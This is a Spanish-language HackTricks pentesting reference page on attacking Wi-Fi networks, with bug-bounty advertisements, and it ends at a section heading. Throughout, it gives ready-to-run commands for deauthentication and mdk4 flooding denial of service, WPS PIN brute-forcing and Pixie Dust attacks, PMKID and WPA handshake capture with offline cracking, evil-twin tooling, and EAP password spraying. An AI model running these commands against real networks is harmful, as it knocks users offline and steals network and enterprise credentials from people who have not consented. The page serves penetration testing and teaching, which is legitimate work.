hacktricks/generic-methodologies-and-resources/pentesting-wifi
2023-07-30 22:48:53 +00:00
..
basic-forensic-methodology f 2023-06-05 20:44:19 +02:00
evil-twin-eap-tls.md f 2023-06-05 20:44:19 +02:00
README.md Translated ['README.md', 'generic-methodologies-and-resources/pentesting 2023-07-30 22:48:53 +00:00

Pentesting Wifi

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

HackenProof es el hogar de todas las recompensas por errores de criptografía.

Obtén recompensas sin demoras
Las recompensas de HackenProof se lanzan solo cuando sus clientes depositan el presupuesto de recompensa. Obtendrás la recompensa después de que se verifique el error.

Obtén experiencia en pentesting web3
¡Los protocolos blockchain y los contratos inteligentes son el nuevo Internet! Domina la seguridad web3 en sus días de crecimiento.

Conviértete en la leyenda del hacker web3
Gana puntos de reputación con cada error verificado y conquista la cima de la clasificación semanal.

Regístrate en HackenProof ¡comienza a ganar con tus hacks!

{% embed url="https://hackenproof.com/register" %}

Comandos básicos de Wifi

ip link show #List available interfaces
iwconfig #List available interfaces
airmon-ng check kill #Kill annoying processes
airmon-ng start wlan0 #Monitor mode
airmon-ng stop wlan0mon #Managed mode
airodump-ng wlan0mon #Scan (default 2.4Ghz)
airodump-ng wlan0mon --band a #Scan 5Ghz
iwconfig wlan0 mode monitor #Put in mode monitor
iwconfig wlan0mon mode managed #Quit mode monitor - managed mode
iw dev wlan0 scan | grep "^BSS\|SSID\|WSP\|Authentication\|WPS\|WPA" #Scan available wifis

EAPHammer es una herramienta de pentesting de Wi-Fi que permite realizar ataques de autenticación EAP (Extensible Authentication Protocol) contra redes inalámbricas. Esta herramienta aprovecha las debilidades en la implementación de EAP en muchos puntos de acceso Wi-Fi para obtener credenciales de autenticación y realizar ataques de hombre en el medio. EAPHammer es una herramienta de línea de comandos que se ejecuta en Linux y requiere privilegios de root para funcionar correctamente.

Puedes encontrar más información sobre EAPHammer en su repositorio de GitHub: EAPHammer

Fluxion

Fluxion es una herramienta de pentesting de Wi-Fi que automatiza el proceso de ataque a redes inalámbricas protegidas con WPA/WPA2. Esta herramienta utiliza técnicas de phishing para engañar a los usuarios y obtener sus credenciales de autenticación. Fluxion crea un punto de acceso falso que imita la red objetivo y luego utiliza ataques de deautenticación y captura de handshake para obtener las contraseñas de Wi-Fi. Fluxion es una herramienta de línea de comandos que se ejecuta en Linux y requiere privilegios de root para funcionar correctamente.

Puedes encontrar más información sobre Fluxion en su repositorio de GitHub: Fluxion

Wifiphisher

Wifiphisher es una herramienta de pentesting de Wi-Fi que automatiza el proceso de ataque a redes inalámbricas protegidas con WPA/WPA2. Esta herramienta utiliza técnicas de phishing para engañar a los usuarios y obtener sus credenciales de autenticación. Wifiphisher crea un punto de acceso falso que imita la red objetivo y luego utiliza ataques de deautenticación y captura de handshake para obtener las contraseñas de Wi-Fi. Wifiphisher es una herramienta de línea de comandos que se ejecuta en Linux y requiere privilegios de root para funcionar correctamente.

Puedes encontrar más información sobre Wifiphisher en su repositorio de GitHub: Wifiphisher

git clone https://github.com/s0lst1c3/eaphammer.git
./kali-setup

Airgeddon

Airgeddon es una herramienta de prueba de penetración de Wi-Fi todo en uno diseñada para simplificar y automatizar el proceso de prueba de seguridad de redes inalámbricas. Esta herramienta está escrita en Bash y se ejecuta en sistemas operativos basados en Linux.

Características principales

  • Modos de ataque: Airgeddon ofrece una amplia gama de modos de ataque, incluyendo ataques de fuerza bruta, ataques de diccionario, ataques de desautenticación, ataques de Evil Twin, ataques de phishing y más. Estos modos de ataque se pueden seleccionar fácilmente desde la interfaz de usuario de Airgeddon.

  • Escaneo de redes: Airgeddon puede escanear y mostrar una lista de redes inalámbricas disponibles en el área. Esto permite a los usuarios identificar rápidamente las redes objetivo para realizar pruebas de penetración.

  • Cracking de contraseñas: Airgeddon incluye herramientas y scripts para realizar ataques de cracking de contraseñas en redes Wi-Fi protegidas con WEP, WPA y WPA2. Estos ataques pueden ayudar a revelar contraseñas débiles o vulnerabilidades en la configuración de seguridad de la red.

  • Ataques de Evil Twin: Airgeddon puede configurar un punto de acceso falso (Evil Twin) para engañar a los dispositivos y hacer que se conecten a él en lugar de a la red legítima. Esto permite a los usuarios realizar ataques de phishing y capturar información confidencial.

  • Ataques de desautenticación: Airgeddon puede realizar ataques de desautenticación para forzar a los dispositivos conectados a una red Wi-Fi a desconectarse. Esto puede ser útil para realizar ataques de Evil Twin o para capturar información de autenticación.

  • Integración de herramientas: Airgeddon integra varias herramientas populares de prueba de penetración de Wi-Fi, como Aircrack-ng, Reaver, MDK3, PixieWPS, Bully, Wifite y más. Esto proporciona a los usuarios una amplia gama de opciones y funcionalidades para realizar pruebas de seguridad.

Uso

Para utilizar Airgeddon, simplemente descargue el repositorio desde GitHub y ejecute el script principal airgeddon.sh. Asegúrese de tener los permisos adecuados para ejecutar el script.

git clone https://github.com/v1s1t0r1sh3r3/airgeddon.git
cd airgeddon
sudo bash airgeddon.sh

Una vez que se ejecute el script, se mostrará una interfaz de usuario interactiva que guiará al usuario a través de los diferentes modos de ataque y opciones disponibles.

El uso de Airgeddon y cualquier otra herramienta de prueba de penetración debe realizarse de acuerdo con las leyes y regulaciones locales. Los usuarios son los únicos responsables de cualquier uso indebido o ilegal de esta herramienta.

mv `which dhcpd` `which dhcpd`.old
apt install isc-dhcp-server
apt-get install sslstrip asleap bettercap mdk4 hostapd beef-xss lighttpd dsniff hostapd-wpe

Ejecutar airgeddon con docker

Si prefieres ejecutar airgeddon en un entorno aislado utilizando Docker, puedes seguir los siguientes pasos:

  1. Asegúrate de tener Docker instalado en tu sistema. Puedes encontrar instrucciones de instalación en la documentación oficial de Docker.

  2. Clona el repositorio de airgeddon desde GitHub utilizando el siguiente comando:

    git clone https://github.com/v1s1t0r1sh3r3/airgeddon.git
    
  3. Navega hasta el directorio de airgeddon:

    cd airgeddon
    
  4. Construye la imagen de Docker utilizando el archivo Dockerfile proporcionado:

    docker build -t airgeddon .
    
  5. Una vez que la imagen se haya construido correctamente, puedes ejecutar airgeddon dentro de un contenedor Docker utilizando el siguiente comando:

    docker run -it --net=host --privileged airgeddon
    

    Ten en cuenta que se utiliza la opción --net=host para permitir que el contenedor acceda a la red del host y la opción --privileged para otorgar privilegios al contenedor.

Con estos pasos, podrás ejecutar airgeddon utilizando Docker y aprovechar los beneficios de un entorno aislado y portátil.

docker run \
--rm \
-ti \
--name airgeddon \
--net=host \
--privileged \
-p 3000:3000 \
-v /tmp:/io \
-e DISPLAY=$(env | grep DISPLAY | awk -F "=" '{print $2}') \
v1s1t0r1sh3r3/airgeddon

Desde: https://github.com/v1s1t0r1sh3r3/airgeddon/wiki/Docker%20Linux

wifiphisher

Puede realizar ataques de Evil Twin, KARMA y Beacons Conocidos, y luego utilizar una plantilla de phishing para lograr obtener la contraseña real de la red o capturar las credenciales de las redes sociales.

git clone https://github.com/wifiphisher/wifiphisher.git # Download the latest revision
cd wifiphisher # Switch to tool's directory
sudo python setup.py install # Install any dependencies

Wifite2

Esta herramienta automatiza los ataques de WPS/WEP/WPA-PSK. Realizará automáticamente:

  • Configurar la interfaz en modo monitor
  • Escanear posibles redes - Y permitirte seleccionar a la(s) víctima(s)
  • Si es WEP - Lanzar ataques WEP
  • Si es WPA-PSK
  • Si es WPS: ataque Pixie dust y ataque de fuerza bruta (ten cuidado, el ataque de fuerza bruta puede llevar mucho tiempo). Ten en cuenta que no intenta pines nulos ni pines generados de bases de datos.
  • Intentar capturar el PMKID del AP para descifrarlo
  • Intentar desautenticar a los clientes del AP para capturar un handshake
  • Si se tiene el PMKID o el Handshake, intentar descifrarlo usando las 5000 contraseñas más comunes.

Resumen de los ataques

  • DoS
  • Paquetes de desautenticación/desasociación -- Desconectar a todos (o a un ESSID/Cliente específico)
  • APs falsos aleatorios -- Ocultar redes, posibles bloqueos de escáneres
  • Sobrecargar AP -- Intentar desactivar el AP (generalmente no muy útil)
  • WIDS -- Jugar con el IDS
  • TKIP, EAPOL -- Algunos ataques específicos para hacer DoS a algunos APs
  • Descifrado
  • Descifrar WEP (varias herramientas y métodos)
  • WPA-PSK
  • WPS "Fuerza Bruta" del pin
  • Descifrado de WPA PMKID
  • [DoS +] Captura de handshake WPA + Descifrado
  • WPA-MGT
  • Captura de nombre de usuario
  • Fuerza Bruta de credenciales
  • Evil Twin (con o sin DoS)
  • Evil Twin Abierto [+ DoS] -- Útil para capturar credenciales de portal cautivo y/o realizar ataques LAN
  • Evil Twin WPA-PSK -- Útil para ataques a redes si conoces la contraseña
  • WPA-MGT -- Útil para capturar credenciales de la empresa
  • KARMA, MANA, Loud MANA, Beacon conocido
  • + Abierto -- Útil para capturar credenciales de portal cautivo y/o realizar ataques LAN
  • + WPA -- Útil para capturar handshakes WPA

DoS

Paquetes de Desautenticación

La forma más común de realizar este tipo de ataque es mediante paquetes de desautenticación. Estos son un tipo de trama "de gestión" responsable de desconectar un dispositivo de un punto de acceso. Falsificar estos paquetes es la clave para hackear muchas redes Wi-Fi, ya que puedes desconectar forzosamente a cualquier cliente de la red en cualquier momento. La facilidad con la que se puede hacer esto es algo aterrador y a menudo se hace como parte de la obtención de un handshake WPA para descifrarlo.

Además de utilizar esta desconexión momentánea para obtener un handshake para descifrar, también puedes dejar que esas desautenticaciones sigan llegando, lo que tiene el efecto de bombardear al cliente con paquetes de desautenticación aparentemente provenientes de la red a la que están conectados. Debido a que estas tramas no están encriptadas, muchos programas aprovechan las tramas de gestión falsificándolas y enviándolas a uno o todos los dispositivos de una red.
Descripción tomada de aquí.

Desautenticación usando Aireplay-ng

aireplay-ng -0 0 -a 00:14:6C:7E:40:80 -c 00:0F:B5:34:30:30 ath0
  • -0 significa desautenticación
  • 1 es el número de desautenticaciones a enviar (puedes enviar varias si lo deseas); 0 significa enviarlas continuamente
  • -a 00:14:6C:7E:40:80 es la dirección MAC del punto de acceso
  • -c 00:0F:B5:34:30:30 es la dirección MAC del cliente a desautenticar; si se omite, se envía una desautenticación de difusión (no siempre funciona)
  • ath0 es el nombre de la interfaz

Paquetes de disociación

Los paquetes de disociación son otro tipo de trama de gestión que se utiliza para desconectar un nodo (es decir, cualquier dispositivo como un portátil o un teléfono móvil) de un punto de acceso cercano. La diferencia entre las tramas de desautenticación y las tramas de disociación radica principalmente en la forma en que se utilizan.

Un punto de acceso que busca desconectar un dispositivo no autorizado enviaría un paquete de desautenticación para informar al dispositivo que ha sido desconectado de la red, mientras que un paquete de disociación se utiliza para desconectar cualquier nodo cuando el punto de acceso se apaga, reinicia o abandona el área.

Descripción de aquí.

Este ataque se puede realizar con mdk4 (modo "d"):

# -c <channel>
# -b victim_client_mac.txt contains the MAC address of the device to eliminate
# -e WifiName is the name of the wifi
# -B BSSID is the BSSID of the AP
# Notice that these and other parameters aare optional, you could give onli the ESSID and md4k will automatically search for it, wait for finding clients and deauthenticate them
mdk4 wlan0mon d -c 5 -b victim_client_mac.txt -E WifiName -B EF:60:69:D7:69:2F

Más ataques DOS por mdk4

Desde aquí.

MODO DE ATAQUE b: Beacon Flooding

Envía tramas de balizas para mostrar APs falsos a los clientes. ¡Esto a veces puede bloquear los escáneres de red e incluso los controladores!

# -a Use also non-printable caracters in generated SSIDs and create SSIDs that break the 32-byte limit
# -w n (create Open) t (Create WPA/TKIP) a (Create WPA2/AES)
# -m use real BSSIDS
# All the parameters are optional and you could load ESSIDs from a file
mdk4 wlan0mon b -a -w nta -m

MODO DE ATAQUE a: Denegación de Servicio de Autenticación

Envía tramas de autenticación a todos los AP encontrados dentro del rango. Demasiados clientes pueden bloquear o reiniciar varios APs.

# -a BSSID send random data from random clients to try the DoS
# -i BSSID capture and repeat pakets from authenticated clients
# -m use real MACs
# only -a or -i can be used
mdk4 wlan0mon a [-i EF:60:69:D7:69:2F] [-a EF:60:69:D7:69:2F] -m

MODO DE ATAQUE p: Sondeo de SSID y Fuerza Bruta

Sondea los puntos de acceso (AP) y verifica si hay respuesta, útil para comprobar si el SSID ha sido descubierto correctamente y si el AP está dentro de tu rango de envío. También está disponible la fuerza bruta de SSIDs ocultos con o sin una lista de palabras.

MODO DE ATAQUE m: Explotación de Contramedidas de Michael

Envía paquetes aleatorios o reinyecta duplicados en otra cola de QoS para provocar las contramedidas de Michael en los AP TKIP. El AP se apagará durante un minuto completo, lo que lo convierte en un ataque DoS efectivo.

# -t <BSSID> of a TKIP AP
# -j use inteligent replay to create the DoS
mdk4 wlan0mon m -t EF:60:69:D7:69:2F [-j]

MODO DE ATAQUE e: Inyección de paquetes EAPOL Start y Logoff

Inunda un AP con tramas de inicio de EAPOL para mantenerlo ocupado con sesiones falsas y así deshabilitarlo para manejar cualquier cliente legítimo. O desconecta a los clientes mediante la inyección de mensajes falsos de Logoff de EAPOL.

# Use Logoff messages to kick clients
mdk4 wlan0mon e -t EF:60:69:D7:69:2F [-l]

MODO DE ATAQUE s: Ataques para redes de malla IEEE 802.11s

Varios ataques a la gestión de enlaces y enrutamiento en redes de malla. Inundar vecinos y rutas, crear agujeros negros y desviar el tráfico.

MODO DE ATAQUE w: Confusión de WIDS

Confundir/Abusar de los Sistemas de Detección y Prevención de Intrusiones mediante la interconexión de clientes a múltiples nodos WDS o falsos puntos de acceso rogue.

# -z activate Zero_Chaos' WIDS exploit (authenticates clients from a WDS to foreign APs to make WIDS go nuts)
mkd4 -e <SSID> -c <channel> [-z]

MODO DE ATAQUE f: Fuzzer de paquetes

Un sencillo fuzzer de paquetes con múltiples fuentes de paquetes y un conjunto de modificadores interesante. ¡Ten cuidado!

Airggedon

Airgeddon ofrece la mayoría de los ataques propuestos en los comentarios anteriores:

WPS

WPS significa Wi-Fi Protected Setup. Es un estándar de seguridad de redes inalámbricas que intenta hacer que las conexiones entre un enrutador y dispositivos inalámbricos sean más rápidas y fáciles. WPS solo funciona para redes inalámbricas que utilizan una contraseña que está encriptada con los protocolos de seguridad WPA Personal o WPA2 Personal. WPS no funciona en redes inalámbricas que utilizan la seguridad WEP obsoleta, que puede ser fácilmente descifrada por cualquier hacker con un conjunto básico de herramientas y habilidades. (De aquí)

WPS utiliza un PIN de 8 dígitos para permitir que un usuario se conecte a la red, pero primero se verifican los primeros 4 números y, si son correctos, luego se verifican los segundos 4 números. Luego, es posible realizar un ataque de fuerza bruta en la primera mitad y luego en la segunda mitad (solo 11000 posibilidades).

Fuerza bruta de WPS

Hay 2 herramientas principales para realizar esta acción: Reaver y Bully.

  • Reaver ha sido diseñado para ser un ataque robusto y práctico contra WPS, y ha sido probado en una amplia variedad de puntos de acceso e implementaciones de WPS.
  • Bully es una nueva implementación del ataque de fuerza bruta de WPS, escrita en C. Tiene varias ventajas sobre el código original de reaver: menos dependencias, mejor rendimiento de memoria y CPU, manejo correcto de la endianness y un conjunto de opciones más robusto.

Este ataque aprovecha una debilidad en el código PIN de WPS de ocho dígitos; debido a este problema, el protocolo revela información sobre los primeros cuatro dígitos del PIN, y el último dígito funciona como una suma de verificación, lo que facilita el ataque de fuerza bruta al AP de WPS.
Ten en cuenta que algunos dispositivos incluyen protecciones contra fuerza bruta, que generalmente bloquean las direcciones MAC que intentan atacar repetidamente. En ese caso, la complejidad de este ataque aumenta, ya que tendrías que rotar las direcciones MAC mientras pruebas los PIN.

Si se encuentra el código válido de WPS, tanto Bully como Reaver lo utilizarán para descubrir la PSK WPA/WPA2 utilizada para proteger la red, por lo que podrás conectarte siempre que lo necesites.

reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -b -f -N [-L -d 2] -vvroot
bully wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -S -F -B -v 3

Fuerza bruta inteligente

En lugar de comenzar a probar todos los posibles PIN, debes verificar si hay PINs descubiertos para el AP que estás atacando (dependiendo de la dirección MAC del fabricante) y los PINs generados por software.

  • La base de datos de PINs conocidos está hecha para Puntos de Acceso de ciertos fabricantes, para los cuales se sabe que utilizan los mismos PINs de WPS. Esta base de datos contiene los primeros tres octetos de las direcciones MAC y una lista de PINs correspondientes que son muy probables para este fabricante.
  • Hay varios algoritmos para generar PINs de WPS. Por ejemplo, ComputePIN y EasyBox utilizan la dirección MAC del Punto de Acceso en sus cálculos. Pero el algoritmo de Arcadyan también requiere un ID de dispositivo.

Ataque WPS Pixie Dust

Dominique Bongard descubrió que algunos AP tienen formas débiles de generar nonces (conocidos como E-S1 y E-S2) que se supone que son secretos. Si logramos descubrir qué son estos nonces, podemos encontrar fácilmente el PIN de WPS de un AP, ya que el AP debe dárnoslo en un hash para demostrar que también conoce el PIN, y el cliente no se está conectando a un AP falso. Estos E-S1 y E-S2 son esencialmente las "claves para desbloquear la caja de seguridad" que contiene el PIN de WPS. Más información aquí: https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-(Offline-WPS-Attack)

Básicamente, algunas implementaciones fallaron en el uso de claves aleatorias para cifrar las 2 partes del PIN (ya que se descompone en 2 partes durante la comunicación de autenticación y se envía al cliente), por lo que se podría utilizar un ataque offline para forzar el PIN válido.

reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -K 1 -N -vv
bully  wlan1mon -b 00:C0:CA:78:B1:37 -d -v 3

Ataque de Null Pin

Algunas implementaciones realmente malas permiten la conexión con Null PIN (muy extraño también). Reaver puede probar esto (Bully no puede).

reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -f -N -g 1 -vv -p ''

Airgeddon

Todos los ataques propuestos de WPS se pueden realizar fácilmente utilizando airgeddon.

  • 5 y 6 te permiten probar tu PIN personalizado (si tienes alguno)
  • 7 y 8 realizan el ataque Pixie Dust
  • 13 te permite probar el PIN NULL
  • 11 y 12 recopilarán los PIN relacionados con el AP seleccionado de las bases de datos disponibles y generarán posibles PIN utilizando: ComputePIN, EasyBox y opcionalmente Arcadyan (recomendado, ¿por qué no?)
  • 9 y 10 probarán todos los PIN posibles

WEP

Tan roto y desaparecido que no voy a hablar de ello. Solo sepa que airgeddon tiene una opción de WEP llamada "Todo en uno" para atacar este tipo de protección. Más herramientas ofrecen opciones similares.

HackenProof es el hogar de todas las recompensas por errores de cifrado.

Obtén recompensas sin demoras
Las recompensas de HackenProof se lanzan solo cuando sus clientes depositan el presupuesto de recompensa. Obtendrás la recompensa después de que se verifique el error.

Obtén experiencia en pentesting web3
¡Los protocolos de blockchain y los contratos inteligentes son el nuevo Internet! Domina la seguridad web3 en sus días de crecimiento.

Conviértete en la leyenda del hacker web3
Gana puntos de reputación con cada error verificado y conquista la cima de la clasificación semanal.

Regístrate en HackenProof y comienza a ganar con tus hacks!

{% embed url="https://hackenproof.com/register" %}

WPA/WPA2 PSK

PMKID

En 2018, los autores de hashcat revelaron un nuevo tipo de ataque que no solo se basa en un solo paquete, sino que no requiere que ningún cliente esté conectado a nuestro AP objetivo, sino solo la comunicación entre el atacante y el AP.

Resulta que muchos routers modernos agregan un campo opcional al final del primer marco EAPOL enviado por el propio AP cuando alguien se está asociando, el llamado Robust Security Network, que incluye algo llamado PMKID.

Como se explica en la publicación original, el PMKID se deriva utilizando datos que nos son conocidos:

PMKID = HMAC-SHA1-128(PMK, "PMK Name" | MAC_AP | MAC_STA)

Dado que la cadena "PMK Name" es constante, conocemos tanto el BSSID del AP como el de la estación y el PMK es el mismo obtenido de un apretón de manos completo de 4 vías, ¡esto es todo lo que hashcat necesita para descifrar la PSK y recuperar la frase de paso!
Descripción obtenida aquí.

Para recopilar esta información y realizar un ataque de fuerza bruta localmente a la contraseña, puedes hacer lo siguiente:

airmon-ng check kill
airmon-ng start wlan0
git clone https://github.com/ZerBea/hcxdumptool.git; cd hcxdumptool; make; make install
hcxdumptool -o /tmp/attack.pcap -i wlan0mon --enable_status=1
#You can also obtains PMKIDs using eaphammer
./eaphammer --pmkid --interface wlan0 --channel 11 --bssid 70:4C:A5:F8:9A:C1

Los PMKIDs capturados se mostrarán en la consola y también se guardarán en _ /tmp/attack.pcap_
Ahora, convierte la captura al formato de hashcat/john y descífrala:

hcxtools/hcxpcaptool -z hashes.txt /tmp/attack.pcapng
hashcat -m 16800 --force hashes.txt /usr/share/wordlists/rockyou.txt
john hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt

Por favor, ten en cuenta que el formato correcto de un hash contiene 4 partes, como: 4017733ca8db33a1479196c2415173beb808d7b83cfaa4a6a9a5aae7*566f6461666f6e65436f6e6e6563743034383131343838
__Si el tuyo solo contiene 3 partes, entonces es inválido (la captura PMKID no fue válida).

Ten en cuenta que hcxdumptool también captura handshakes (algo como esto aparecerá: MP:M1M2 RC:63258 EAPOLTIME:17091). Puedes transformar los handshakes al formato de hashcat/john usando cap2hccapx.

tcpdump -r /tmp/attack.pcapng -w /tmp/att.pcap
cap2hccapx pmkid.pcapng pmkid.hccapx ["Filter_ESSID"]
hccap2john pmkid.hccapx > handshake.john
john handshake.john --wordlist=/usr/share/wordlists/rockyou.txt
aircrack-ng /tmp/att.pcap -w /usr/share/wordlists/rockyou.txt #Sometimes

He notado que algunas capturas de apretones de manos realizadas con esta herramienta no se pueden descifrar incluso si se conoce la contraseña correcta. Recomendaría capturar apretones de manos también de manera tradicional si es posible, o capturar varios de ellos usando esta herramienta.

Captura de apretón de manos

Una forma de atacar las redes WPA/WPA2 es capturar un apretón de manos e intentar descifrar la contraseña utilizada sin conexión. Para hacerlo, debes encontrar el BSSID y el canal de la red víctima, y un cliente que esté conectado a la red.
Una vez que tengas esa información, debes comenzar a escuchar toda la comunicación de ese BSSID en ese canal, porque con suerte el apretón de manos se enviará allí:

airodump-ng wlan0 -c 6 --bssid 64:20:9F:15:4F:D7 -w /tmp/psk --output-format pcap

Ahora necesitas desautenticar al cliente durante unos segundos para que se autentique automáticamente nuevamente en el AP (por favor, lee la parte de DoS para encontrar varias formas de desautenticar a un cliente):

aireplay-ng -0 0 -a 64:20:9F:15:4F:D7 wlan0 #Send generic deauth packets, not always work

Nota que una vez que el cliente es desautenticado, podría intentar conectarse a un AP diferente o, en otros casos, a una red diferente.

Una vez que en airodump-ng aparece información de un handshake, esto significa que el handshake fue capturado y puedes dejar de escuchar:

Una vez que el handshake es capturado, puedes descifrarlo con aircrack-ng:

aircrack-ng -w /usr/share/wordlists/rockyou.txt -b 64:20:9F:15:4F:D7 /tmp/psk*.cap

Comprobar si hay un handshake en el archivo

aircrack

aircrack-ng psk-01.cap #Search your bssid/essid and check if any handshake was capture

tshark es una herramienta de línea de comandos que se utiliza para capturar y analizar el tráfico de red. Es parte del conjunto de herramientas de Wireshark y se utiliza comúnmente en pruebas de penetración y análisis forense de redes. Tshark permite a los hackers y profesionales de la seguridad examinar los paquetes de red en tiempo real, filtrar y extraer información relevante, y realizar análisis detallados del tráfico de red. Es una herramienta poderosa y versátil que puede utilizarse para identificar vulnerabilidades, detectar ataques y realizar investigaciones de seguridad en redes.

tshark -r psk-01.cap -n -Y eapol #Filter handshake messages #You should have the 4 messages.

cowpatty es una herramienta de línea de comandos que se utiliza para realizar ataques de fuerza bruta contra contraseñas de redes Wi-Fi protegidas con el protocolo WPA/WPA2. Esta herramienta utiliza tablas de precomputación (tablas rainbow) para acelerar el proceso de descifrado de contraseñas. Cowpatty es una herramienta muy popular en el campo de la seguridad informática y es ampliamente utilizada por los profesionales de la pentesting para evaluar la seguridad de las redes inalámbricas.

cowpatty -r psk-01.cap -s "ESSID" -f -

Si esta herramienta encuentra un apretón de manos incompleto de un ESSID antes que uno completo, no detectará el válido.

pyrit

apt-get install pyrit #Not working for newer versions of kali
pyrit -r psk-01.cap analyze

WPA Enterprise (MGT)

Es importante hablar sobre los diferentes métodos de autenticación que podrían ser utilizados por una red Wifi empresarial. Para este tipo de redes Wifi, es probable que encuentres algo como esto en airodump-ng:

6A:FE:3B:73:18:FB  -58       19        0    0   1  195  WPA2 CCMP   MGT  NameOfMyWifi

EAP (Protocolo de Autenticación Extensible) es la base de la comunicación de autenticación, sobre la cual se utiliza un algoritmo de autenticación por parte del servidor para autenticar al cliente (suplicante) y, en algunos casos, por parte del cliente para autenticar al servidor.
Los principales algoritmos de autenticación utilizados en este caso son:

  • EAP-GTC: Es un método EAP que admite el uso de tokens de hardware y contraseñas de un solo uso con EAP-PEAP. Su implementación es similar a MSCHAPv2, pero no utiliza un desafío entre pares. En su lugar, las contraseñas se envían al punto de acceso en texto plano (muy interesante para ataques de degradación).
  • EAP-MD-5 (Message Digest): El cliente envía el hash MD5 de la contraseña. No se recomienda: Vulnerable a ataques de diccionario, sin autenticación del servidor y sin forma de generar claves de privacidad equivalentes con cable (WEP) por sesión.
  • EAP-TLS (Transport Layer Security): Se basa en certificados del lado del cliente y del servidor para realizar la autenticación y se puede utilizar para generar dinámicamente claves WEP basadas en el usuario y la sesión para asegurar las comunicaciones posteriores.
  • EAP-TTLS (Tunneled Transport Layer Security): Autenticación mutua del cliente y la red a través de un canal (o túnel) cifrado, así como un medio para derivar claves WEP dinámicas por usuario y por sesión. A diferencia de EAP-TLS, EAP-TTLS solo requiere certificados del lado del servidor (el cliente utilizará credenciales).
  • PEAP (Protected Extensible Authentication Protocol): PEAP es similar al protocolo EAP, pero crea un túnel TLS para proteger la comunicación. Luego, se pueden utilizar protocolos de autenticación débiles sobre EAP, ya que estarán protegidos por el túnel.
  • PEAP-MSCHAPv2: También se conoce como PEAP porque es ampliamente adoptado. Es simplemente el desafío/respuesta vulnerable llamado MSCHAPv2 sobre PEAP (está protegido por el túnel TLS).
  • PEAP-EAP-TLS o simplemente PEAP-TLS: Es muy similar a EAP-TLS, pero se crea un túnel TLS antes de intercambiar los certificados.

Puede encontrar más información sobre estos métodos de autenticación aquí y aquí.

Captura de nombre de usuario

Al leer https://tools.ietf.org/html/rfc3748#page-27, parece que si está utilizando EAP, los mensajes de "Identidad" deben ser compatibles, y el nombre de usuario se enviará en claro en los mensajes de "Respuesta de Identidad".

Incluso al utilizar uno de los métodos de autenticación más seguros, como PEAP-EAP-TLS, es posible capturar el nombre de usuario enviado en el protocolo EAP. Para hacerlo, capture una comunicación de autenticación (inicie airodump-ng en un canal y wireshark en la misma interfaz) y filtre los paquetes por eapol.
Dentro del paquete "Respuesta, Identidad", aparecerá el nombre de usuario del cliente.

Identidades anónimas

(Información tomada de https://www.interlinknetworks.com/app_notes/eap-peap.htm)

Tanto EAP-PEAP como EAP-TTLS admiten ocultar la identidad. En un entorno WiFi, el punto de acceso (AP) generalmente genera una solicitud de EAP-Identidad como parte del proceso de asociación. Para preservar el anonimato, el cliente EAP en el sistema del usuario puede responder con la información suficiente para permitir que el servidor RADIUS de primer salto procese la solicitud, como se muestra en los siguientes ejemplos.

  • EAP-Identidad = anónimo

En este ejemplo, todos los usuarios compartirán el seudonombre de usuario "anónimo". El servidor RADIUS de primer salto es un servidor EAP-PEAP o EAP-TTLS que realiza la función de servidor final del protocolo PEAP o TTLS. El tipo de autenticación interno (protegido) se manejará localmente o se enviará a un servidor RADIUS remoto (doméstico).

  • EAP-Identidad = anónimo@realm_x

En este ejemplo, los usuarios que pertenecen a diferentes dominios ocultan su propia identidad, pero indican a qué dominio pertenecen para que el servidor RADIUS de primer salto pueda enviar las solicitudes EAP-PEAP o EAP-TTLS a servidores RADIUS en sus dominios de origen, que actuarán como servidores PEAP o TTLS. El servidor de primer salto actúa únicamente como un nodo de retransmisión RADIUS.

Alternativamente, el servidor de primer salto puede actuar como el servidor EAP-PEAP o EAP-TTLS y procesar el método de autenticación protegido o enviarlo a otro servidor. Esta opción se puede utilizar para configurar diferentes políticas para diferentes dominios.

En EAP-PEAP, una vez que el servidor PEAP y el cliente PEAP establecen el túnel TLS, el servidor PEAP genera una solicitud de EAP-Identidad y la transmite a través del túnel TLS. El cliente responde a esta segunda solicitud de EAP-Identidad enviando una respuesta de EAP-Identidad que contiene la verdadera identidad del usuario a través del túnel cifrado. Esto evita que cualquier persona que esté interceptando el tráfico 802.11 descubra la verdadera identidad del usuario.

EAP-TTLS funciona de manera ligeramente diferente. Con EAP-TTLS, el cliente generalmente se autentica mediante PAP o CHAP protegido por el túnel TLS. En este caso, el cliente incluirá un atributo User-Name y un atributo Password o CHAP-Password en el primer mensaje TLS enviado después de establecer el túnel.

Con cualquiera de los dos protocolos, el servidor PEAP/TTLS aprende la verdadera identidad del usuario una vez que se ha establecido el túnel TLS. La verdadera identidad puede estar en forma de usuario@dominio o simplemente usuario. Si el servidor PEAP/TTLS también está autenticando al usuario, ahora conoce la identidad del usuario y continúa con el método de autenticación protegido por el túnel TLS. Alternativamente, el servidor PEAP/TTLS puede enviar una nueva solicitud RADIUS al servidor RADIUS doméstico del usuario. Esta nueva solicitud RADIUS tiene el protocolo PEAP o TTLS eliminado. Si el método de autenticación protegido es EAP, los mensajes EAP internos se transmiten al servidor RADIUS doméstico sin el envoltorio EAP-PEAP o EAP-TTLS. El atributo User-Name del mensaje RADIUS saliente contiene la verdadera identidad del usuario, no la identidad anónima del atributo User-Name de la solicitud RADIUS entrante. Si el método de autenticación protegido es PAP o CHAP (solo admitido por TTLS), los atributos User-Name y otras atributos de autenticación recuperados de la carga útil TLS se colocan en el mensaje RADIUS saliente en lugar de la identidad anónima del atributo User-Name y los atributos EAP-Message de TTLS incluidos en la solicitud RADIUS entrante.

EAP-Bruteforce (ataque de contraseña por pulverización)

Si se espera que el cliente utilice un nombre de usuario y contraseña (ten en cuenta que EAP-TLS no será válido en este caso), entonces podrías intentar obtener una lista de nombres de usuario (ver siguiente parte) y contraseñas e intentar atacar por fuerza bruta el acceso utilizando air-hammer.

./air-hammer.py -i wlan0 -e Test-Network -P UserPassword1 -u usernames.txt

También puedes realizar este ataque utilizando eaphammer:

./eaphammer --eap-spray \
--interface-pool wlan0 wlan1 wlan2 wlan3 wlan4 \
--essid example-wifi \
--password bananas \
--user-list users.txt

Teoría de ataques al cliente

Selección de red y roaming

